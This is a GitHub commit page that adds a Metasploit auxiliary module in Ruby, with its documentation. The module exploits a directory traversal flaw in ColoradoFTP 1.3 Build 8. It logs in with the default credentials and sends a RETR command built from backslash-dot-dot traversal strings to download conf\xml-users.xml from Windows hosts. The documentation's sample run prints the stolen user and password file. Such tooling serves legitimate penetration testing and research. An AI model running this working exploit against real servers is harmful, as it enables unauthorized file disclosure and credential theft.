Skip to content

Commit 9c922d1

Browse files
h00dieh00die
committed
colorado ftp
1 parent d2100bf commit 9c922d1

File tree

2 files changed

+165
-0
lines changed

2 files changed

+165
-0
lines changed

‎documentation/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.md

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
## Notes
2+
3+
While the application is based in java, I was only able to get it to exploit against Windows based targets.
4+
5+
## Vulnerable Application
6+
7+
[official site](http://cftp.coldcore.com/files/coloradoftp-prime-8.zip?site=cft1&rv=19.1&nc=1) or [github backup](https://github.com/h00die/MSF-Testing-Scripts/raw/master/coloradoftp-prime-8.zip)
8+
9+
When installing, you must edit conf/beans.xml line 182 "localIp" to put in your IP or else `pasv` won't work.
10+
11+
## Verification Steps
12+
13+
1. Install the application
14+
2. Start msfconsole
15+
3. Do: `use auxiliary/scanner/ftp/colorado_ftp_traversal`
16+
4. Do: `set rhosts <ip>`
17+
5. Do: `run`
18+
6. You should get the xml-users.xml file
19+
20+
## Options
21+
22+
**FTPUSER**
23+
24+
Default user for Colorado FTP is `ftpuser`
25+
26+
**FTPPASS**
27+
28+
Default password for Colorado FTP is `ftpuser123`
29+
30+
**DEPTH**
31+
32+
Default depth of ../ to do is 2 to get back to the root of Colorado FTP. This can run anywhere, so you may have to play a bit to find the root.
33+
34+
## Scenarios
35+
36+
A run to obtain the user file (default in this case)
37+
38+
msf > use auxiliary/scanner/ftp/colorado_ftp_traversal
39+
msf auxiliary(colorado_ftp_traversal) > set rhosts 1.1.1.1
40+
rhosts => 1.1.1.1
41+
msf auxiliary(colorado_ftp_traversal) > set verbose true
42+
verbose => true
43+
msf auxiliary(colorado_ftp_traversal) > exploit
44+
45+
[*] 1.1.1.1:21 - Connecting to FTP server 1.1.1.1:21...
46+
[*] 1.1.1.1:21 - Connected to target FTP server.
47+
[*] 1.1.1.1:21 - Authenticating as ftpuser with password ftpuser123...
48+
[*] 1.1.1.1:21 - Sending password...
49+
[*] 1.1.1.1:21 - \\\..\..\conf\xml-users.xml
50+
[*] 1.1.1.1:21 - 150 Opening A mode data connection for \\\..\..\conf\xml-users.xml.
51+
52+
[*] 1.1.1.1:21 - Data returned:
53+
54+
<users>
55+
56+
<user name="ftpuser" pass="ftpuser123"/>
57+
58+
</users>
59+
[+] 1.1.1.1:21 - Stored conf\xml-users.xml to /root/.msf4/loot/20160918184409_default_1.1.1.1_coloradoftp.ftp._168381.xml
60+
[*] Scanned 1 of 1 hosts (100% complete)
61+
[*] Auxiliary module execution completed

‎modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Ftp
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability found in ColoradoFTP server
19+
version <= 1.3 Build 8. This vulnerability allows an attacker to download and upload arbitrary files
20+
from the server GET/PUT command including file system traversal strings starting with '\\\'.
21+
The server is writen in Java and therefore platform independant, however this vulnerability is only
22+
exploitable on the Windows version.
23+
},
24+
'Platform' => 'win',
25+
'Author' =>
26+
[
27+
'h00die <[email protected]>',
28+
'RvLaboratory', #discovery
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'EDB', '40231'],
34+
[ 'URL', 'https://bitbucket.org/nolife/coloradoftp/commits/16a60c4a74ef477cd8c16ca82442eaab2fbe8c86']
35+
],
36+
'DisclosureDate' => 'Aug 11 2016'
37+
))
38+
39+
register_options(
40+
[
41+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 2 ]),
42+
OptString.new('PATH', [ true, 'Path to the file to disclose, releative to the root dir.', 'conf\\xml-users.xml']),
43+
OptString.new('FTPUSER', [ true, 'Username to use for login', 'ftpuser']), #override default
44+
OptString.new('FTPPASS', [ true, 'Password to use for login', 'ftpuser123']) #override default
45+
], self.class)
46+
47+
end
48+
49+
def check_host(ip)
50+
begin
51+
connect
52+
if /Welcome to ColoradoFTP - the open source FTP server \(www\.coldcore\.com\)/i === banner
53+
return Exploit::CheckCode::Appears
54+
end
55+
ensure
56+
disconnect
57+
end
58+
59+
Exploit::CheckCode::Safe
60+
end
61+
62+
def run_host(ip)
63+
begin
64+
connect_login
65+
sock = data_connect
66+
67+
file_path = datastore['PATH']
68+
file = ::File.basename(file_path)
69+
70+
# make RETR request and store server response message...
71+
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
72+
res = send_cmd( ["retr", retr_cmd], true)
73+
print_status(res)
74+
# read the file data from the socket that we opened
75+
response_data = sock.read(1024)
76+
77+
unless response_data
78+
print_error("#{file} not found")
79+
return
80+
end
81+
82+
if response_data.length == 0
83+
print_status("File (#{file_path})from #{peer} is empty...")
84+
return
85+
end
86+
87+
# store file data to loot
88+
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
89+
vprint_status("Data returned:\n")
90+
vprint_line(response_data)
91+
print_good("Stored #{file_path} to #{loot_file}")
92+
93+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
94+
vprint_error(e.message)
95+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
96+
rescue ::Timeout::Error, ::Errno::EPIPE => e
97+
vprint_error(e.message)
98+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
99+
ensure
100+
data_disconnect
101+
disconnect
102+
end
103+
end
104+
end

0 commit comments

Comments
 (0)